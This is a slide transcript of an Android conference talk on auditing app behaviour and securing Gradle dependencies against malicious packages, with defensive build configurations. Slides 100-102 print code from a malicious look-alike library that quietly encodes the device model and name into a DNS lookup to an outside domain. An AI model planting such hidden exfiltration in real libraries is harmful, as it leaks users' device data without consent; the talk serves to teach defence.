I have no idea what my app is doing - Nicola Corti - Android Dev

I have no idea what my app is doing - Nicola Corti - Android Dev

Do you exactly know what's your app doing when you deliver it to your users? Are you 100% sure? Would you bet on this? You're probably confident with the code you wrote and you know what is doing.

But what about the code that others wrote?

We pull dependencies from the online repositories every day. Our applications strongly rely on external libraries that are hosted on public Maven repositories. What if one of those library contains some malicious code? Imagine a library that starts harvesting your user data without you knowing it.

In this talk we will see how to monitor and protect your application from malicious dependency on the web that might end up in your final compiled App.

3dc29e8cfc6ef333e2b41a1b0e826b57?s=128

Nicola Corti

April 23, 2019
Tweet

Transcript

  1. ¯\ _(ツ)_/¯ Nicola Corti @cortinico I have no idea 


    what my app is doing
  2. Android @ Yelp Community Lover !✈ Nicola Corti @cortinico

  3. ¯\ _(ツ)_/¯

  4. ¯\ _(ツ)_/¯

  5. @ C O R T I N I C O

    Get to know your Pizza Get to know your Pizza Vita Marija Murenaite on Unsplash
  6. @ C O R T I N I C O

    Get to know your Codebase Get to know your Codebase Vita Marija Murenaite on Unsplash
  7. @ C O R T I N I C O

    How do you e How do you 
 eat a Pizza? G E T T O K N O W Y O U R C O D E B A S E • One bite at a time • It takes time • Start with small changes • Get in touch with tests Vlad Baranov on Unsplash
  8. @ C O R T I N I C O

    You can’t eat You can’t eat 
 everything • Don’t expect to read the 
 whole codebase • Understand your 
 module boundaries • Understand how you interact with
 core modules G E T T O K N O W Y O U R C O D E B A S E Evelyn on Unsplash
  9. @ C O R T I N I C O

    Tech Debt Tech Debt • Don’t change the code style G E T T O K N O W Y O U R C O D E B A S E Hey looks, this file is still using
 RxJava1… let me convert it to RxJava2…
 2 hours later… $ git revert *last 2 hours* davidistesting on Flickr
  10. None
  11. Never Trust Ap Never Trust Appearances

  12. Never Trust Ap Never Trust Appearances

  13. Never Trust Ap Never Trust Appearances

  14. public boolean isAvailable() { return false; } Never Trust Ap

    Never Trust Appearances
  15. /** * */ public boolean isAvailable() { return false; }

    Never Trust Ap Never Trust Appearances
  16. /** * Always returns false. */ public boolean isAvailable() {

    return false; } Never Trust Ap Never Trust Appearances
  17. /** * Always returns false. */ public boolean isAvailable() {

    return true; } Never Trust Ap Never Trust Appearances
  18. (Corti 2015-05-10 17:12)/** (Corti 2015-05-10 17:12) * Always returns false

    (Corti 2015-05-10 17:12) */ (Mario 2012-02-24 12:38)public boolean isAvailable() { (Mario 2016-05-19 08:01) return true; (Mario 2012-02-24 12:38)} Never Trust Ap Never Trust Appearances
  19. Never Trust Com Never Trust Comments (Corti 2015-05-10 17:12)/** (Corti

    2015-05-10 17:12) * Always returns false (Corti 2015-05-10 17:12) */ (Mario 2012-02-24 12:38)public boolean isAvailable() { (Mario 2016-05-19 08:01) return true; (Mario 2012-02-24 12:38)}
  20. @ C O R T I N I C O

    Make sure 
 you go Sugar
 Free Make sure 
 you go Sugar
 Free Vitchakorn Koonyosying on Unsplash
  21. @ C O R T I N I C O

    Make sure 
 you go Bug
 Free Make sure 
 you go Bug
 Free Vitchakorn Koonyosying on Unsplash
  22. @ C O R T I N I C O

    Proxy Proxy M A K E S U R E Y O U G O B U G F R E E • A proxy will reveal a lot about your app behaviour • Use Charles • See all the requests that are fired • Requires configuration on your laptop/device Tyler Nix on Unsplash
  23. @ C O R T I N I C O

    Proxy Proxy M A K E S U R E Y O U G O B U G F R E E • A proxy will reveal a lot about your app behaviour • Use Charles! • See all the requests that are fired • Requires configuration on your laptop/device Tyler Nix on Unsplash
  24. @ C O R T I N I C O

    • github.com/ChuckerTeam/Chucker • An OkHttp Interceptor • Works on device without configuration • Useful to catch unintended behavior • Useful to build awareness Chucker Chucker M A K E S U R E Y O U G O B U G F R E E
  25. @ C O R T I N I C O

    • github.com/ChuckerTeam/Chucker • An OkHttp Interceptor • Works on device without configuration • Useful to catch unintended behavior • Useful to build awareness Chucker Chucker M A K E S U R E Y O U G O B U G F R E E
  26. @ C O R T I N I C O

    Manifest Manifest M A K E S U R E Y O U G O B U G F R E E • Check the merged manifest in Android Studio • Two step merge process: • Libraries & Modules • Source Sets Anna Pelzer on Unsplash
  27. None
  28. @ C O R T I N I C O

    • Setup Static Analysis tools • Break the builds ⚠ • Share your pre commits (pre-commit.com) Enforce Conv Enforce conventions M A K E S U R E Y O U G O B U G F R E E
  29. @ C O R T I N I C O

    Watch out your orders Watch out your orders Brett Jordan on Unsplash
  30. @ C O R T I N I C O

    Watch out your dependencies Watch out your dependencies Brett Jordan on Unsplash
  31. None
  32. public Pet getPet(final String id) { String https_url = "https:!//petstore.swagger.io/v2/pet/"

    + id; URL url; try { url = new URL(https_url); HttpsURLConnection con = (HttpsURLConnection) url.openConnection(); if (con !!= null) { BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream())); String response = ""; String input; while ((input = br.readLine()) !!= null) { System.out.println(input); response += input; } br.close(); JSONObject object = new JSONObject(response); Pet result = new Pet(); result.setId(object.getInt("id")); result.setName(object.getString("name")); result.setStatus(object.getString("status")); JSONArray photos = object.getJSONArray("photoUrls"); List<String> photoArrays = new ArrayList!<>(); for (int i = 0; i < photos.length(); i!++) { photoArrays.add(photos.getString(i)); } result.setPhotoUrls(photoArrays); JSONArray tags = object.getJSONArray("tags"); List<String> tagArrays = new ArrayList!<>(); for (int i = 0; i < tags.length(); i!++) { tagArrays.add(tags.getString(i)); } result.setTags(tagArrays); System.out.println(result); System.out.println(result.getId()); System.out.println(result.getName()); System.out.println(result.getPhotoUrls().get(0)); System.out.println(result.getStatus()); System.out.println(result.getTags().get(0)); return result; } } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (JSONException e) { e.printStackTrace(); } return null; } public class Pet { private Integer id; private String name; private List<String> photoUrls = null; private List<String> tags = null; private String status; public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public List<String> getPhotoUrls() { return photoUrls; } public void setPhotoUrls(List<String> photoUrls) { this.photoUrls = photoUrls; } public List<String> getTags() { return tags; } public void setTags(List<String> tags) { this.tags = tags; } public String getStatus() { return status; } public void setStatus(String status) { this.status = status; } } fun getPet(id: String): Pet? { val https_url = "https:!//petstore.swagger.io/v2/pet/$id" val url: URL try { url = URL(https_url) val con = url.openConnection() as HttpsURLConnection val br = BufferedReader(InputStreamReader(con.inputStream)) var response = "" var input: String? = br.readLine() while (input !!= null) { println(input) response += input input = br.readLine() } br.close() val parsedObject = JSONObject(response) val photos = parsedObject.getJSONArray("photoUrls") val photoArrays = ArrayList<String>() for (i in 0 until photos.length()) { photoArrays.add(photos.getString(i)) } val tags = parsedObject.getJSONArray("tags") val tagArrays = ArrayList<String>() for (i in 0 until tags.length()) { tagArrays.add(tags.getString(i)) } val result = Pet( id = parsedObject.getInt("id"), name = parsedObject.getString("name"), status = parsedObject.getString("status"), photoUrls = photoArrays, tags = tagArrays ) println(result) println(result.id) println(result.name) println(result.photoUrls!!![0]) println(result.status) println(result.tags!!![0]) return result } catch (e: MalformedURLException) { e.printStackTrace() } catch (e: IOException) { e.printStackTrace() } catch (e: JSONException) { e.printStackTrace() } return null } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<String>?, var status: String? ) data class Tag(var id: Int?, var name: String?) fun getPet(id: String): Pet? { val https_url = "https:!//petstore.swagger.io/v2/pet/$id" val url: URL try { url = URL(https_url) val con = url.openConnection() as HttpsURLConnection val br = BufferedReader(InputStreamReader(con.inputStream)) var response = "" var input: String? = br.readLine() while (input !!= null) { println(input) response += input input = br.readLine() } br.close() val moshi = Moshi.Builder().build() val jsonAdapter = moshi.adapter<Pet>(Pet!::class.java) val pet = jsonAdapter.fromJson(response) println(pet) return pet } catch (e: MalformedURLException) { e.printStackTrace() } catch (e: IOException) { e.printStackTrace() } return null } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<Tag>?, var status: String? ) data class Tag(var id: Int?, var name: String?) fun getPet(id: String): Pet? { val client = OkHttpClient.Builder().build() val request = Request.Builder().url("https:!//petstore.swagger.io/v2/pet/$id").build() client.newCall(request).execute().use { val moshi = Moshi.Builder().build() val jsonAdapter = moshi.adapter<Pet>(Pet!::class.java) val pet = jsonAdapter.fromJson(it.body()!?.string()!!!) println(pet) return pet } } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<Tag>?, var status: String? ) data class Tag(var id: Int?, var name: String?)
  33. interface PetInterface { @GET("pet/{id}") fun getPet(@Path("id") id: String?) : Call<Pet>

    } ream())); fun getPet(id: String): Pet? { val https_url = "https:!//petstore.swagger.io/v2/pet/$id" val url: URL try { url = URL(https_url) val con = url.openConnection() as HttpsURLConnection val br = BufferedReader(InputStreamReader(con.inputStream)) var response = "" var input: String? = br.readLine() while (input !!= null) { println(input) response += input input = br.readLine() } br.close() val parsedObject = JSONObject(response) val photos = parsedObject.getJSONArray("photoUrls") val photoArrays = ArrayList<String>() for (i in 0 until photos.length()) { photoArrays.add(photos.getString(i)) } val tags = parsedObject.getJSONArray("tags") val tagArrays = ArrayList<String>() for (i in 0 until tags.length()) { tagArrays.add(tags.getString(i)) } val result = Pet( id = parsedObject.getInt("id"), name = parsedObject.getString("name"), status = parsedObject.getString("status"), photoUrls = photoArrays, tags = tagArrays ) println(result) println(result.id) println(result.name) println(result.photoUrls!!![0]) println(result.status) println(result.tags!!![0]) return result } catch (e: MalformedURLException) { e.printStackTrace() } catch (e: IOException) { e.printStackTrace() } catch (e: JSONException) { e.printStackTrace() } return null } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<String>?, var status: String? ) data class Tag(var id: Int?, var name: String?) fun getPet(id: String): Pet? { val https_url = "https:!//petstore.swagger.io/v2/pet/$id" val url: URL try { url = URL(https_url) val con = url.openConnection() as HttpsURLConnection val br = BufferedReader(InputStreamReader(con.inputStream)) var response = "" var input: String? = br.readLine() while (input !!= null) { println(input) response += input input = br.readLine() } br.close() val moshi = Moshi.Builder().build() val jsonAdapter = moshi.adapter<Pet>(Pet!::class.java) val pet = jsonAdapter.fromJson(response) println(pet) return pet } catch (e: MalformedURLException) { e.printStackTrace() } catch (e: IOException) { e.printStackTrace() } return null } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<Tag>?, var status: String? ) data class Tag(var id: Int?, var name: String?) fun getPet(id: String): Pet? { val client = OkHttpClient.Builder().build() val request = Request.Builder().url("https:!//petstore.swagger.io/v2/pet/$id").build() client.newCall(request).execute().use { val moshi = Moshi.Builder().build() val jsonAdapter = moshi.adapter<Pet>(Pet!::class.java) val pet = jsonAdapter.fromJson(it.body()!?.string()!!!) println(pet) return pet } } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<Tag>?, var status: String? ) data class Tag(var id: Int?, var name: String?)
  34. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S Regina Victorica on Unsplash
  35. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { } Regina Victorica on Unsplash
  36. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { google() } Regina Victorica on Unsplash
  37. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { google() jcenter() } Regina Victorica on Unsplash
  38. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { google() jcenter() mavenCentral() } Regina Victorica on Unsplash
  39. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { google() jcenter() mavenCentral() maven { url 'https:!//jitpack.io' } } Regina Victorica on Unsplash
  40. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { google() jcenter() mavenCentral() maven { url 'https:!//jitpack.io' } mavenLocal() } Regina Victorica on Unsplash
  41. @ C O R T I N I C O

    Give me the b Give me the best sushi W A T C H O U T Y O U R D E P E N D E N C I E S • Avoid dynamic dependencies • They make your build less reproducible bady qb on Unsplash
  42. @ C O R T I N I C O

    Give me the b Give me the best sushi W A T C H O U T Y O U R D E P E N D E N C I E S • Avoid dynamic dependencies • They make your build less reproducible implementation “jp.sushi:uramaki:+" bady qb on Unsplash
  43. @ C O R T I N I C O

    Give me the b Give me the best sushi W A T C H O U T Y O U R D E P E N D E N C I E S • Avoid dynamic dependencies • They make your build less reproducible implementation “jp.sushi:uramaki:+" implementation “jp.sushi:uramaki:2.+" bady qb on Unsplash
  44. @ C O R T I N I C O

    Give me the b Give me the best sushi W A T C H O U T Y O U R D E P E N D E N C I E S • Avoid dynamic dependencies • They make your build less reproducible implementation “jp.sushi:uramaki:+" implementation “jp.sushi:uramaki:2.+" implementation “jp.sushi:uramaki:2.0.+" bady qb on Unsplash
  45. @ C O R T I N I C O

    Give me the b Give me the best sushi W A T C H O U T Y O U R D E P E N D E N C I E S • Avoid dynamic dependencies • They make your build less reproducible implementation “jp.sushi:uramaki:+" implementation “jp.sushi:uramaki:2.+" implementation “jp.sushi:uramaki:2.0.+" implementation “jp.sushi:uramaki:[2.0,3.0)" bady qb on Unsplash
  46. None
  47. Version Lock Version Lock

  48. Version Lock Version Lock dependencies { }

  49. Version Lock Version Lock dependencies { implementation “jp.sushi:urakami:+” }

  50. Version Lock Version Lock configurations.all { } dependencies { implementation

    “jp.sushi:urakami:+” }
  51. Version Lock Version Lock configurations.all { resolutionStrategy { } }

    dependencies { implementation “jp.sushi:urakami:+” }
  52. Version Lock Version Lock configurations.all { resolutionStrategy { activateDependencyLocking() }

    } dependencies { implementation “jp.sushi:urakami:+” }
  53. Version Lock Version Lock ./gradlew app:dependencies configurations.all { resolutionStrategy {

    activateDependencyLocking() } } dependencies { implementation "jp.sushi:urakami:+" }
  54. Version Lock Version Lock ./gradlew app:dependencies !--write-locks configurations.all { resolutionStrategy

    { activateDependencyLocking() } } dependencies { implementation "jp.sushi:urakami:+" }
  55. ./gradlew app:dependencies !--write-locks dependencies { implementation "jp.sushi:urakami:+" }

  56. ./gradlew app:dependencies !--write-locks dependencies { implementation "jp.sushi:urakami:+" }

  57. ./gradlew app:dependencies !--write-locks dependencies { implementation "jp.sushi:urakami:+" } # This

    is a Gradle generated file for dependency locking. # Manual edits can break the build and are not advised. # This file is expected to be part of source control. com.google.code.gson:gson:2.8.5 com.squareup.okhttp3:okhttp:3.12.1 com.squareup.okio:okio:1.15.0
 jp.sushi:urakami:3.14.0 org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20 org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20 org.jetbrains.kotlin:kotlin-stdlib:1.3.20 org.jetbrains:annotations:13.0 ......
  58. ./gradlew app:dependencies !--write-locks dependencies { implementation "jp.sushi:urakami:+" } # This

    is a Gradle generated file for dependency locking. # Manual edits can break the build and are not advised. # This file is expected to be part of source control. com.google.code.gson:gson:2.8.5 com.squareup.okhttp3:okhttp:3.12.1 com.squareup.okio:okio:1.15.0
 jp.sushi:urakami:3.14.0 org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20 org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20 org.jetbrains.kotlin:kotlin-stdlib:1.3.20 org.jetbrains:annotations:13.0 ......
  59. ./gradlew app:dependencies !--write-locks dependencies { implementation "jp.sushi:urakami:+" } ./gradlew app:dependencies

    !--update-locks ‘jp.sushi:*’ # This is a Gradle generated file for dependency locking. # Manual edits can break the build and are not advised. # This file is expected to be part of source control. com.google.code.gson:gson:2.8.5 com.squareup.okhttp3:okhttp:3.12.1 com.squareup.okio:okio:1.15.0
 jp.sushi:urakami:3.14.0 org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20 org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20 org.jetbrains.kotlin:kotlin-stdlib:1.3.20 org.jetbrains:annotations:13.0 ......
  60. ./gradlew app:dependencies !--write-locks dependencies { implementation "jp.sushi:urakami:+" } ./gradlew app:dependencies

    !--update-locks ‘*:*’ # This is a Gradle generated file for dependency locking. # Manual edits can break the build and are not advised. # This file is expected to be part of source control. com.google.code.gson:gson:2.8.5 com.squareup.okhttp3:okhttp:3.12.1 com.squareup.okio:okio:1.15.0
 jp.sushi:urakami:3.14.0 org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20 org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20 org.jetbrains.kotlin:kotlin-stdlib:1.3.20 org.jetbrains:annotations:13.0 ......
  61. @ C O R T I N I C O

    Favourite Res Favourite Restaurant W A T C H O U T Y O U R D E P E N D E N C I E S • Restrict dependencies to 
 specific repositories • Repositories get queried 
 top to bottom Wyron A on Unsplash
  62. None
  63. repositories { }

  64. repositories { maven { url "http:!//repo.sushi.jp/maven2" } }

  65. repositories { maven { url "http:!//repo.sushi.jp/maven2" content { includeGroup "jp.sushi"

    } } }
  66. repositories { maven { url "http:!//repo.sushi.jp/maven2" content { includeGroup "jp.sushi"

    } } jcenter { } }
  67. repositories { maven { url "http:!//repo.sushi.jp/maven2" content { includeGroup "jp.sushi"

    } } jcenter { content { } } }
  68. repositories { maven { url "http:!//repo.sushi.jp/maven2" content { includeGroup "jp.sushi"

    } } jcenter { content { excludeGroupByRegex "jp!\\.sushi.*" } } }
  69. repositories { maven { url "http:!//repo.sushi.jp/maven2" content { includeGroup "jp.sushi"

    } } jcenter { content { excludeGroupByRegex "jp!\\.sushi.*" } } }
  70. @ C O R T I N I C O

    Gluten Free Gluten Free W A T C H O U T Y O U R D E P E N D E N C I E S • Pay attention to transitive dependencies • Define constraints • Leave a because message • Pay attention to version resolution marine Dumay on Unsplash
  71. None
  72. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) }

  73. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) constraints { } }

  74. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) constraints { implementation('jp.sushi:california:3.0.1') implementation(‘jp.sushi:sashimi:42.0.0') } }

  75. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) constraints { implementation('jp.sushi:california:3.0.1') { because '' }

    implementation(‘jp.sushi:sashimi:42.0.0’) } }
  76. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) constraints { implementation('jp.sushi:california:3.0.1') { because 'California 3.0.0

    had gluten' } implementation(‘jp.sushi:sashimi:42.0.0’) } }
  77. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) constraints { implementation('jp.sushi:california:3.0.1') { because 'California 3.0.0

    had gluten' } implementation(‘jp.sushi:sashimi:42.0.0') { because ‘Sashimi 42 is the best ever’ } } }
  78. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) constraints { implementation('jp.sushi:california:3.0.1') { because 'California 3.0.0

    had gluten' } implementation(‘jp.sushi:sashimi:42.0.0') { because ‘Sashimi 42 is the best ever’ force = true } } }
  79. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) }

  80. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) { force = true } }

  81. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) { transitive = false } }

  82. None
  83. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0
  84. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- jp.sushi:sashimi:42.0.0
  85. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- jp.sushi:sashimi:42.0.0 \!!--- jp.sushi:california:3.0.2
  86. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 !-> 3.0.2 \!!--- jp.sushi:sashimi:42.0.0 \!!--- jp.sushi:california:3.0.2
  87. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- jp.sushi:sashimi:42.0.0
  88. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- com.google.guava:guava:27.1 +!!--- jp.sushi:sashimi:42.0.0 \!!--- com.google.guava:guava:27.1
  89. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- com.google.guava:guava:27.1-android +!!--- jp.sushi:sashimi:42.0.0 \!!--- com.google.guava:guava:27.1-jre
  90. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- com.google.guava:guava:27.1-android !-> 27.1-jre +!!--- jp.sushi:sashimi:42.0.0 \!!--- com.google.guava:guava:27.1-jre
  91. @ C O R T I N I C O

    Health Check Health Checks W A T C H O U T Y O U R D E P E N D E N C I E S • Dependencies are hard to verify • MD5/SHA1 are checked if provided • GPG Signatures are ignored Epicurrence on Unsplash
  92. None
  93. None
  94. None
  95. issues.apache.org/jira/browse/MNG-6026

  96. None
  97. @ C O R T I N I C O

    • What is Github is not necessarily on Maven • An example of Cross Build Injection (XBI) • Malicious packages uploaded for Timber, AndroidAudioRecorder… on Jcenter. • The “real” package was uploaded on other repo (MavenCentral, JitPack, …) A Confusing O A Confusing Order W A T C H O U T Y O U R D E P E N D E N C I E S
  98. bit.ly/aconfusingdependency

  99. None
  100. private AndroidAudioRecorder(Activity activity) { this.activity = activity; }

  101. private AndroidAudioRecorder(Activity activity) { this.activity = activity; Thread thread =

    new Thread() { @Override public void run() { } }; thread.start(); }
  102. private AndroidAudioRecorder(Activity activity) { this.activity = activity; Thread thread =

    new Thread() { @Override public void run() { try { InetAddress byName = InetAddress.getByName( new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(“!!...com")); if(byName.isLoopbackAddress()) { color = 0; } } catch (UnknownHostException e) { e.printStackTrace(); } } }; thread.start(); }
  103. None
  104. allprojects { repositories { google() jcenter() maven { url "https:!//jitpack.io"

    } } }
  105. allprojects { repositories { google() jcenter() maven { url "https:!//jitpack.io"

    } } } dependencies { implementation 'com.github.adrielcafe:AndroidAudioRecorder:0.3.0' }
  106. allprojects { repositories { google() jcenter() !// maven { url

    "https:!//jitpack.io" } } } dependencies { implementation 'com.github.adrielcafe:AndroidAudioRecorder:0.3.0' }
  107. None
  108. bit.ly/jcenterpostmortem

  109. None
  110. None
  111. None
  112. bit.ly/harvestingcreditcards

  113. bit.ly/wanttotakeoverthejavaecosystem

  114. jeremylong.github.io/DependencyCheck/

  115. jeremylong.github.io/DependencyCheck/

  116. jeremylong.github.io/DependencyCheck/

  117. @ C O R T I N I C O

    ¯\_(ツ)_/¯ ¯\_(ツ)_/¯ Watch out your Orders Make sure you go Sugar Free Get to know your Pizza
  118. Nicola Corti @cortinico ¯\ _(ツ)_/¯ Thanks